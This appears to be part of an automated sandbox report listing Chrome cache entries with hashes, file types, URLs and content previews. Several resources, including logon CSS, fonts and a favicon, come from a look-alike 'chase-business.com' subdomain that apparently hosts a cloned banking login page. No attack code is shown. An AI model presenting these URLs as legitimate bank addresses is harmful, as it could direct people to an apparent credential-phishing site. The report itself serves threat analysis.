Preview:	<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0" y="0" width="31px" height="4060px" viewBox="0 0 31 4060" preserveAspectRatio="none"><g transform="translate(0,2170)"><path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,2428)"><path fill="#C4C7C5" d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,3396)"><path d="M17.705 10.1401L14.3 4H9.70001L3.60001 15L5.70001 19H13.8027C14.2671 19.8028 14.9121 20.488 15.6822 21H5.70001C5.00001 21 4.30001 20.6 3.90001 19.9L1.80001 15.9C1.50001 15.3 1.50001 14.6 1.80001 14L8.00001 3C8.30001 2.4 9.00001 2 9.70001 2H14.3C15 2 15.7 2.4 16.1 3L20.0307 10.0882C19.6959 10

Chrome Cache Entry: 129

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=g1bx9x7b0j2y
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 130

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	831
Entropy (8bit):	7.690596689293278
Encrypted:	false
SSDEEP:	24:ars5HGJLO4eG5bQxWGUpbIW779bHBoLU489YmBZo:arssA4L6hvaZ7wv8mmI
MD5:	916C9BCCCF19525AD9D3CD1514008746
SHA1:	9CCCE6978D2417927B5150FFAAC22F907FF27B6E
SHA-256:	358E814139D3ED8469B36935A071BE6696CCAD7DD9BDBFDB80C052B068AE2A50
SHA-512:	B73C1A81997ABE12DBA4AE1FA38F070079448C3798E7161C9262CCBA6EE6A91E8A243F0E4888C8AEF33CE1CF83818FC44C85AE454A522A079D08121CD8628D00
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/images/branding/product/1x/drive_2020q4_32dp.png
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b .....+......m..dW.@..tm.Y.....m.....m.m..L.\|.....{..b...t..........=H..qt..V..X..<jQc...p...fdU.\2.....9T...Jz!9...L.)&.....n....`~.T.\.\.$.....qQ.....LFOx......^&,"bB..Lh9$_.6<...A...Q.T&y.,'...p...W`.2.?X(.o.4.J?.2...@.4.....X..c......[UZJ...MN.].z..f..DFe.J.....:!r...0X......).....^..!....u..c..R4.GH....Y....E....Q......+!..)...e"......,.Ge.r.T..!..r..(.\|.9f...}......(...s..N...[..~.%6QF..g..r......CN.e"(..uY.h._1.H.e....r.k..%^S.c..<..0.s.j..,D........]..y.2(..OC.o\.3..".....cw...:;.btq......w=.......R-[].4..]...?.....o..K../cC.<O...y..O.......{.-'Ln9..M.*6t.(.........o.K.$....bz.X._d......Z].U.....t....Bf.Zl.^vA._..g.{l....V...{....=.jua..[...k......j....Y\...!..+.m..X..t(....."..Mz.26l....7X.C...-...Z.lvl.......y}x..........7.m.VV....IEND.B`.

Chrome Cache Entry: 131

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	162766
Entropy (8bit):	5.059354942429979
Encrypted:	false
SSDEEP:	1536:+Egolk0UVv+caLgubiOH7Gt3s/45nwSkGvYXItBCrCnWnNnG77KzEdZTRpZTRrVz:f7qOo
MD5:	160971268967AA02E1EA5BC7FBFBC4E2
SHA1:	027D4BB49B0D99B5FA16774583EA2FF140631428
SHA-256:	24CE22527BEB2CB7CB5C8E98D767C5697D414C1A4122226A7D19B8F7B9A244C6
SHA-512:	EF97973C07D4185724F68D6F37D0C2D8D0B498BCFDA61C12583AA2227FD4C16AC1DBB2386B6DFBAEBCF44D6D191A842CC740C50B6E1C80E2C9AC32B811393A1B
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/css/logon.css
Preview:	.bottomSheetContainer,.bottomSheetHeader{outline-style:none}#forgot-password-container .password-reset-header-label,#serviceErrorDialog.jpui.modal .single-button,#sessionTimeoutDialog.jpui.modal .single-button,#transactionConfirmation .confirmation-button-container,.email-marketing-preferences .preferences-footer-disclaimer,.footer-container .footer-links ul,.manageaccount .galaxy-footer,.manageaccount .logonbox-links,.marketing-preference-footer-container .footer-links ul,.msd .text.centered{text-align:center}.msd .text.right{text-align:right}.msd .text.small{font-size:.75rem!important;font-weight:600}.msd .text.blue{color:#126bc5;font-style:normal}.msd .text.inline{vertical-align:middle}.msd .text.inline a{color:#126bc5;text-decoration:none}.logon .hidden,.mds-d-none,.msd .hidden,[hidden]{display:none!important}.msd .linked-label{font-size:16px!important;display:block!important;margin:1em 0;padding:0;line-height:1.1em}.msd input:-moz-focusring{outline:dotted 1px}.margin-bottom-20px{m

Chrome Cache Entry: 132

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 4 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	32038
Entropy (8bit):	2.618648465767992
Encrypted:	false
SSDEEP:	384:6RBHHHHXHHHHdX9ZstMIQ591vvvvvvvv:6RBHHHHXHHHHdX9+z
MD5:	5744986EB3DC6F2DA92157A651889902
SHA1:	5A558B58498FAB2AEB742ACDAB51E0C2FBC78385
SHA-256:	625816F80596303E9DE8E68695973369FAA462B416202825B03899C781464FB9
SHA-512:	CFA4C0179C3B5821F2BAF864A01E2C601653E93823C925FA9A265914768D88CA03BF4B752DE7D6BD48DE12B60069A3DEF1D1F4DE3F230975E459F56B440EFD6E
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/chasefavicon.ico
Preview:	............ .h...F... .... .........00.... ..%..V...@@.... .(B...:..(....... ..... .....@........................................\.5.\.?.\.?.\.?.\.).........................................\.k.\...\...\...\...\..\.5.\.3.............................\.W.\...\...\...\...\...\..\.G.\..\.C.....................\.C.\...\...\...\...\...\...\..\.G.\...\...\.W.............\.3.\..\...\...\...\...\...\...\..\.G.\...\...\...\.k.........\.3.\.G.\.G.\.G.\.G.\.G.\.G.\.G.\.;.\.G.\...\...\...\...\.7.\.).\..\..\..\..\.;.................\.G.\...\...\...\...\.?.\.?.\...\...\...\...\.G.................\.G.\...\...\...\...\.?.\.?.\...\...\...\...\.G.................\.G.\...\...\...\...\.?.\.?.\...\...\...\...\.G.................\.;.\..\..\..\..\.).\.7.\...\...\...\...\.G.\.;.\.G.\.G.\.G.\.G.\.G.\.G.\.G.\.3.........\.k.\...\...\...\.G.\..\...\...\...\...\...\...\..\.1.............\.W.\...\...\.G.\..\...\...\...\...\...\...\.A.....................\.C.\..\.G.\..\...\...\...\...\...\.U......

Chrome Cache Entry: 133

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	831
Entropy (8bit):	7.690596689293278
Encrypted:	false
SSDEEP:	24:ars5HGJLO4eG5bQxWGUpbIW779bHBoLU489YmBZo:arssA4L6hvaZ7wv8mmI
MD5:	916C9BCCCF19525AD9D3CD1514008746
SHA1:	9CCCE6978D2417927B5150FFAAC22F907FF27B6E
SHA-256:	358E814139D3ED8469B36935A071BE6696CCAD7DD9BDBFDB80C052B068AE2A50
SHA-512:	B73C1A81997ABE12DBA4AE1FA38F070079448C3798E7161C9262CCBA6EE6A91E8A243F0E4888C8AEF33CE1CF83818FC44C85AE454A522A079D08121CD8628D00
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b .....+......m..dW.@..tm.Y.....m.....m.m..L.\|.....{..b...t..........=H..qt..V..X..<jQc...p...fdU.\2.....9T...Jz!9...L.)&.....n....`~.T.\.\.$.....qQ.....LFOx......^&,"bB..Lh9$_.6<...A...Q.T&y.,'...p...W`.2.?X(.o.4.J?.2...@.4.....X..c......[UZJ...MN.].z..f..DFe.J.....:!r...0X......).....^..!....u..c..R4.GH....Y....E....Q......+!..)...e"......,.Ge.r.T..!..r..(.\|.9f...}......(...s..N...[..~.%6QF..g..r......CN.e"(..uY.h._1.H.e....r.k..%^S.c..<..0.s.j..,D........]..y.2(..OC.o\.3..".....cw...:;.btq......w=.......R-[].4..]...?.....o..K../cC.<O...y..O.......{.-'Ln9..M.*6t.(.........o.K.$....bz.X._d......Z].U.....t....Bf.Zl.^vA._..g.{l....V...{....=.jua..[...k......j....Y\...!..+.m..X..t(....."..Mz.26l....7X.C...-...Z.lvl.......y}x..........7.m.VV....IEND.B`.

Chrome Cache Entry: 134

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (501)
Category:	downloaded
Size (bytes):	1000
Entropy (8bit):	5.277949266142675
Encrypted:	false
SSDEEP:	24:N1XIbtEHvIYWwmqAK/HJ2cNAXzk5vuHM8aJLtMCRWZ4FhQ:N1XmtEPT6cLAXzk5kaJL+CwYhQ
MD5:	9AA60F647010B80DFDA3AC5381E8EDF8
SHA1:	117DFDEE7502F2DF9C5E7B85A3492D3FD8C78828
SHA-256:	3F2B738B2AE0453D236AC241DA7850CA41AC6973E1DE964F401ADE1AB97FB9A0
SHA-512:	624CA1372A8B96420566EAC6382D9D97BF863196C50FF70D63931BDE35B479A6396AE2F10961D889AFF8D54D8E47E9E9813A6C6C6945EF13BAB52ACB177891A9
Malicious:	false
Reputation:	low
URL:	https://youtube.googleapis.com/iframe_api
Preview:	var scriptUrl = 'https:\/\/youtube.googleapis.com\/s\/player\/03dbdfab\/www-widgetapi.vflset\/www-widgetapi.js';try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"};.if(!YT.loading){YT.loading=1;(function(){var l=[];YT.ready=function(f){if(YT.loaded)f();else l.push(f)};window.onYTReady=function(){YT.loaded=1;var i=0;for(;i<l.length;i++)try{l[i]()}catch(e){}};YT.setConfig=function(c){var k;for(k in c)if(c.hasOwnProperty(k))YTConfig[k]=c[k]};var a=document.createElement("script");a.type="text/javascript";a.id="www-widgetapi-script";a.src=scriptUrl;a.async=true;var c=document.currentScript;if(c){var n=c.nonce\|\|c.getAttribute("nonce");if(n)a.setAttribute("nonce",.n)}var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b)})()};.

Chrome Cache Entry: 135

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 24876, version 1.0
Category:	downloaded
Size (bytes):	24876
Entropy (8bit):	7.9756615677862515
Encrypted:	false
SSDEEP:	768:ymVGM9ztUqDxEUYTeTm4fccTnaZdnmKax:PVJ9ztUq1J4cTaZ1m9x
MD5:	4EEEDB4BC24C1CAE309E117EEA3F102F
SHA1:	AD5A141EF39AD1ADA22A464FCD3678FCF72AC22B
SHA-256:	B8422277FC69C8E6AB51112DBF25048E40425CC497490FEE251B56D7EF0CA179
SHA-512:	9156EAFFE8465D252BCE751282EB89A07874A5C716F121009BB399FBD0124E36C79F7E8DFDE30B2E78952E6D22E71B66F2C74C3EF28FA7766BF3D1C4E003E6DA
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/fonts/opensans-regular.woff
Preview:	wOFF......a,.......<........................FFTM............f.r.GDEF........... ....GPOS............,..XGSUB.............^..OS/2.......`...`..cmap...l.........@X.cvt .......F...F.[.7fpgm...<.......eS./.gasp................glyf......L......evQhead..W....2...6.6.hhea..X........$.s.?hmtx..X4...7.....CX.loca..Zl........y.W:maxp..\8... ... ....name..\X.......zQ...post..^X.........x2.prep..`H.......\|.V..webf..a$..........UT.........=.......51......z..x.c`d``..b...`b`..@...1...M....x..KlTU...3.a.......26....I..j.Z..i.......BBcHL.....0!.+9<j.L..Y.R..2LW,..im...IW..!..s.).H..\|...9......=s..T.n}.HK..z...zw....;U../wk."..X...7..;zw+.."..c\.xo.].t+t84...w..p....s....}0..)r/r/....-t8.L.6......wm..X..'c{.I..oD.....4........)Y.....IOx::O.w.....T..G.zUM..f=..b^....:..u.fH.....q....8...d. ..A...{......`...9..y...0..`....L...\.kp...M.?.u...)..A=....7....KB3\|.......{8....{.N.I...&.S.!....%f%.p....g.g.\|Mx%a!.%.%.%.%.%.%W)..bO..,<....D..@4G4........... ...P....i...`.R........u.

Chrome Cache Entry: 136

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15844, version 1.0
Category:	downloaded
Size (bytes):	15844
Entropy (8bit):	7.986244297125621
Encrypted:	false
SSDEEP:	384:0R6Km4yijh4fD2bcmxSXvr3XlQS09DiSuy5:lKHyUKv7qS0YSt
MD5:	EC17B8A4B615BCFD221D30BA412F3B16
SHA1:	D72C8A5B499A2FA7653746C03EB3223F0EAF88EA
SHA-256:	7C666230EF68413B148AA5F83714DB3BC80C28466962F506952C7B2E516D6403
SHA-512:	42B6F29B139C5A63B350B822557C9D1DBCFFDB8830E0AEF328B01CD8DF720C1E0ADB625B8AA4833B074E1ABF85C1657547BBF2DBFA176FA83FD86333A3391DC3
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPjYUvaYr.woff2
Preview:	wOF2......=...........=r................................l?HVAR.#.`?STAT..'...H/<....$....j.0.".6.$..P. ..B.......z..6.xv;x.'..g.bp.d........@.......J..0.L......V.<.u.pA.x.c...g2..8....T$.>.<..F~.u.&. .....X..au.....A.....OX.X..].V.n..$+4[.qqe.,.A....-~....e?......I...<..F.$'.......E.....O....PL.. .4..."JU.........xq.I.........At.I..t]#...N....p.xXB.. Y....7...I".D$........T..tV}.(.J%B.m5.....h..]._.....{z..../..{1.[2.;5l\Ab@"...D.p.n..f.V.x.......I ...).O.&&..{.{w^./...a.?.@e.....<.Y./[.bK..b2..^...0.........o.;.9`'92..$I.......B.c..Jv..{....P..L.D./..23.f..+7..+..p,?.\o...T..0.J...............z..Py..[........4k.o.)D..r...U..".4.q....q!.I....Q6.W.,...j^.?>`.P....{yh58..QN...........$%...............!..%.R.r.....l(...y9.W:...M.L}........S...4......Z.\\|......jSZE..LX.$........l...F,.!.(.1..y...M&...dk..(.D....R.....E....7...Y0.qv.t........Z.i.u.l."..g!g#.(.dl....s..iau.........#,..a.C.._...!=>k.J.L..pf.\|..../.... .....K.....9P

Chrome Cache Entry: 137

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 14504, version 1.1
Category:	downloaded
Size (bytes):	14504
Entropy (8bit):	7.9446561380897025
Encrypted:	false
SSDEEP:	384:8uIxIiUCAJw4MdmOml3qfgRfIh7dTEKXk7O7O37fOIOySnnZ:8/4Ta4yXml3uuIh7dTEPS8hqnZ
MD5:	3CCBD41BFD4962B57199A8FCFBCBDE66
SHA1:	6ABB08BFA56A3668B8DF2FD3EA5C04774F12B920
SHA-256:	0634F735018D63980FB935914BD910EBD51ED5ED0A03C8811607ACA0C2E7C532
SHA-512:	6B4D1C70227086897C0A917596562175EFCC9FFED4C08424F32583DCF7780C69911B01823166AF87C5F6D6D42DA242CD8645325CC84C9E459E65E96B48CF833F
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/fonts/opensans-bold.woff
Preview:	wOFF......8.......b.........................GDEF...X............GPOS...p............GSUB...\|............OS/2.......`...`.u..cmap...............gasp...x............glyf......#...4...39head..&T...6...6...hhea..&........$.)..hmtx..&........P..L.kern..(............loca..2.............maxp..4l... ... .a..name..4.........2.%post..70...w....T...............................................................3.......3.....f..................@. [...(....1ASC. . ...........X ........^..... ..x.c```d`.b.......@Z.A...`.`.d.c8.p..?.!c0.1.[Lw.D.........\.J.......T......... .Ja.....JK.....:.?........=.s..........}.......t=.y..t......3.............x..z.\T...Y..9........8.....0...$.Q........?...............L.\S#...M.\|\|.^..fj....{.a..>..6.sXg...Z{..^{..!....{.>.....Qh..[...M:.3..........q........@.k.._..R........pEB.).1..p.?.v16.>f.....%\|...5........FO...G....9./..E..Z.....kTd...~..#.:.y=..dz......_..9.a..S+..;@...q,.B.Cs.....:.3a#...u.6...={...&.s..:q...7......C.pqQ+t...?..A.rQ...u

Chrome Cache Entry: 138

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text
Category:	downloaded
Size (bytes):	226
Entropy (8bit):	5.279536097807288
Encrypted:	false
SSDEEP:	6:JiMVBdgqZj8DHgWdzRiAU2uvxV1EFrI/E9tbRIObHg6n:MMHdVBMHgWdzR05Eu/qVbA6
MD5:	DE20E07D4C11FBB56431730A532386CE
SHA1:	0CBDD4E027E287FE258F3BE0E48DE13A90C9A304
SHA-256:	842544A34D495B76A1C67313CD55DCBAA4940E0E0DF024BE72BF146B8755660F
SHA-512:	E8AE2C84F2C08FAB594435667307BA6DD721065EC568861352DA7E3CA001F9E161808E23C6F41FDE685F594FBF806931B9393BAF7E83FEC33B347A2A39A8F48F
Malicious:	false
Reputation:	low
URL:	https://securityunlocking.blob.core.windows.net/favicon.ico
Preview:	.<?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range..RequestId:adeb7041-b01e-00a8-0f74-527bd4000000.Time:2024-12-20T00:16:55.7835495Z</Message></Error>

Chrome Cache Entry: 139

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (644)
Category:	downloaded
Size (bytes):	6374
Entropy (8bit):	5.43971618560427
Encrypted:	false
SSDEEP:	96:9LZw/hvZLoYWBPPeyWNgdpQgz5hKJn/1pdytkT8zprRWsGO:vGvZqteyyafKp/1pQtkwVrRWVO
MD5:	DB626CC09E25EEB9EB6D92EDDA4D5B1A
SHA1:	456D3AE744482E6F32C590B03FD3066D98B4A493
SHA-256:	5722A7EC7393071917438A03A109602E17B76937273C08A45E62655D67CCBB4D
SHA-512:	AD5F37A3A420EC1B3C9B15635BD2791C41054100ADAD1FDE26BA4E7BABA85AA7D918E8948EA0E890275A55AD2818F0D4591C7655EFCFB72FE2FC234FE169FAD1
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=MpJwZc,UUJqVe,sy3,s39S4,syk,pw70Gc"
Preview:	try{.C("MpJwZc");..D();.}catch(e){_DumpException(e)}.try{.C("UUJqVe");..D();.}catch(e){_DumpException(e)}.try{.bg(AA);.}catch(e){_DumpException(e)}.try{.C("s39S4");.var AFc=function(a,b,c){c?a.setAttribute(b,c):a.removeAttribute(b);a.hasAttribute("c-wiz")\|\|(b=a,a.tagName==="C-DATA"&&(b=a.parentElement),I1a(b,!1))},BFc=function(a,b,c){var d=a.getAttribute(b)\|\|"";c=String(c\|\|"");c=c.split(";").filter(function(e){return e});d=d.split(";").filter(function(e){return yh(e,":.CLIENT")});Ba(c,d);(c=c.join(";"))?a.setAttribute(b,c):a.removeAttribute(b);ola(a)},FFc=function(){CFc\|\|(CFc=!0,DFc=Aja,Aja=function(a){DFc&&DFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&&.cg(Vf(c)).GWa(c)}},EFc=Bja,Bja=function(a){EFc&&EFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&&cg(Vf(c)).HWa(c)}})},cP=function(a,b){a.H=b},GFc=function(a){if(a=a\|\|document.body){var b=document.head.querySelector("style[data-late-css]");a=n(Array.from(a.querySelectorAll("style[data-server-css-collection], link[data-server-c

Chrome Cache Entry: 140

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	380
Entropy (8bit):	4.84909840327862
Encrypted:	false
SSDEEP:	6:A4lqdGJcfKSAR6PKCFuQFyaIRY+GJFFiDiy79adjSGGm8hRrNUo0L8FU3IVZHyv6:A4kdG+fJARkKGuQ7IZGLY7qZGm8DsAw6
MD5:	D67687AFD3C1C63FA22E9B0E6866C4E1
SHA1:	F06D11C22376A15C4F2EA8A507E2D63B39161BD2
SHA-256:	1BEAB0FBA1805115A5E7D28325BC36D0FED46882C944946838025694C5F61179
SHA-512:	A22017F5697A70BB72102EE0BD6E621B4FEC40718F97A51A114CEABA219B70E186785847323881A2C5D692C90165691E0BE9116D9CE0B20F09CFA973BEF04D52
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/css/main.css
Preview:	.hide_cont {...display:none;..}.....formatted-textarea {.. width: 100%;.. /max-width: 600px;/.. height: 300px;.. border: 1px solid #ccc;.. padding: 10px;.. overflow-y: auto;.. white-space: pre-wrap; /* Keeps whitespace formatting */.. background-color: #f9f9f9;.. font-family: Arial, sans-serif;.. font-size: 14px;.. box-sizing: border-box;..}..

Chrome Cache Entry: 141

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1409
Entropy (8bit):	4.793286482068979
Encrypted:	false
SSDEEP:	24:t41qCEDrCOBdD0C54boC2h9jsVCEak9LOf6pjeTaKElXo76sC+w5xI77cjfaLVCF:CyDP3na/acOf6pCTaKyXopWxO76aLaK0
MD5:	B55B042F907BC7108F5DCA2103A8476B
SHA1:	9FCDCC86BFE1F3C7D4F774775670FBD08FE7556C
SHA-256:	D3BF9C143E5E360DA41736B1D4E833B5AC6B6F7093DDC91FFC538233A78488D0
SHA-512:	45AA66ABB6C075A1B3F5C76C1273EA21E7855B99031D46BFBCD7B8882F58E9F5612B556E218B41C902ADA7FE0F77ED9F3849E8E675BBDDDB21AE5397624B2C7C
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 380 72.2">...<path fill="#FFFFFF" d="M356.1,1l-22.5,0c-1.4,0-2.5,1.1-2.5,2.5v17.4H377L356.1,1z"/>...<path fill="#FFFFFF" d="M376.2,23.6h-17.4v45.9l19.8-20.9l0-22.5C378.7,24.7,377.6,23.6,376.2,23.6z"/>...<path fill="#FFFFFF" d="M331.1,71.2h22.5c1.4,0,2.5-1.1,2.5-2.5V51.3h-45.9L331.1,71.2z"/>...<path fill="#FFFFFF" d="M328.4,48.6V2.7l-19.9,20.9v22.5c0,1.4,1.1,2.5,2.5,2.5H328.4z"/>...<polygon fill="#FFFFFF" points="282.4,53.4 252,53.4 252,39.9 281.4,39.9 281.4,30.8 252,30.8 252,18.6 282.4,18.6 288.2,9.4 241.2,9.4 241.2,62.8 288.4,62.8 "/>...<path fill="#FFFFFF" d="M217.3,30.5h-21.4c-2.4,0-4-0.6-4-4.2c0,0,0-3.7,0-3.7c0-3,1.1-4.1,3.9-4.1l28,0l5.9-9.2l-35.7,0....c-6.5,0-13.1,3.9-13.1,13.9v2.6c0,10.4,6.4,14.4,12.7,14.4H216c2.3,0,4.2,0.4,4.2,4.3l0,4.5c-0.1,3.5-1.8,4.3-4.3,4.3h-29.4....l-6,9.4h36.2c8.7,0,14.7-4.3,14.7-14.4v-3.7C231.3,35.1,225.8,30.5,217.3,30.5z"/>...<path fill="#FFFFFF" d="M150.8,9.4l25.4,53.4h-12l-4.9-11h-27.6l-4.9,11h-12l25

Chrome Cache Entry: 142

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	510210
Entropy (8bit):	5.109743831386091
Encrypted:	false
SSDEEP:	6144:WrsFuvhZQNvmFbOLLEjL/fzLQdMGNAyWAanvnVx9Q5hbC+zPlo1dZ7RiSYYw/FIa:bmFbOLLE1ZGl/J
MD5:	855B869C33B99DE407FA24C277D5DE22
SHA1:	BB205DFFF3D3F023B75C88B7AE0C811902B46C8D
SHA-256:	A32BFFFF6BACCE1DE08FA0FFDB1F30EF47C4D18C95AF8AC4A0B86B952F057020
SHA-512:	98575A92E816B821623C1605D6E947F61924903C045587A8664FD09DBB39F194894455DE1785E26470084AE48D55B3CB9D3D2C624988EF62A62B95A6D681B9DB
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/css/blue-ui.css
Preview:	/! normalize.css v3.0.1 \| MIT License \| git.io/normalize /*{box-sizing:border-box}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background:0 0}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit

Chrome Cache Entry: 143

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1024x576, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	4002
Entropy (8bit):	7.822998215030883
Encrypted:	false
SSDEEP:	96:o4X4X4j/ULDoncX4OsM9KbayX4X4X4X4t2oVc0alWwPV3AWJQ:dooj/QDoncoOyayooooxlEt3Ha
MD5:	981C7BDD8C33DB0212D659454D7FF96D
SHA1:	D5C5E5EADFD07F2D2299C7DFD9A32F5284C21B98
SHA-256:	6CBAC603A6306DB6EE6D4765839A86F354959EF7D75206F2F9DCD32242E6C275
SHA-512:	B3FF42B07809374AB5EBCFD1DA730B222CFBD03198C340E6137B2593243B2FCFD9895B3C925DE8A74CC0CC0C4B91C0F712EDCDA9699D4993EE248A3BA7E51D48
Malicious:	false
Reputation:	low
URL:	https://drive.google.com/drive-viewer/AKGpiha3zArSgPpMxYtMaH6pdiYILssxXjXxL0-IwfjemsBbaXV5QMSoleQW3vRP0wolrPcEa7c_dn5jllzQf2QFOOChlFwHeWZEnTo=s1600-rw-v1
Preview:	RIFF....WEBPVP8 ...........@.>.Z.P'%(...hq...in.v..._.5...X.s.G....}.j.Hy..r.y..W.O.....C...7....bi....y.4.C..<.\|!...mM>....6...`..SO.0}c....>.......X.ji....y.4.C..<.\|!...mM>....6...`..SO.0}c....>.......X.ji....y.4.C..<.\|!...mM>....6...`..S.........D..L(XXa.g..>..T..[x....k..y.Y.].!...c....>.......X..W..x4.R.r.l.K...\|.g0>..k\|B^?.3.....+.F.3.....2.`.l.^..RdM...0.O......,1...t../...ZS".....\|!...mM>....3S.6..........z.I...#.o.W.EB...3..~.v.[x5...O..vK.........s."t...8..R.......X.ji....ka.C.E....V.&..U.<...C.......n.....k~T....\|...>j...)[.....e^...MZF.0S.=....\|.%.[.TTo2u....>....6...`..S..[C4$m.D ...p..V.Q.aM!......M\..`8.$A..H..`...a.Z.~.r..Y...:F{......+......6i>.....<.\|!...mM>....6...K....,Y..m8E..w.iu4.C..<.\|!...mM>....6...`..SO.0}c....>.......X.ji....y.4.C..<.\|!...mM>....6...`..SO.0}c....>.....*....z..;..`..mM>....6...`..SMu..{..W....5..Itg.s...\w.M......X.ji....y.4.f.3..z.] ..!....et.f.X...R4"..W..!+5....K4".a........t.f..`..SO.0}c....Bt

Chrome Cache Entry: 144

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4245)
Category:	downloaded
Size (bytes):	121769
Entropy (8bit):	5.4739773711708555
Encrypted:	false
SSDEEP:	1536:OYIcfKtW4VB4DUhcC8vnhKtntTCnXAmhdozsCb0YJr35ecMNiycRAD/lsJTD5qzR:dIyKGRKR6Q2XXYJrJTD5qWT88I
MD5:	A30AD4B824EABD49827717DA4DD32163
SHA1:	BE003CDBFD22A27CF8C7B5CD12267E1DDAC23120
SHA-256:	4BB8D199FC83D95CF64D3ECE1F6A53F27535B0F335471ED675C03B729A7BBF86
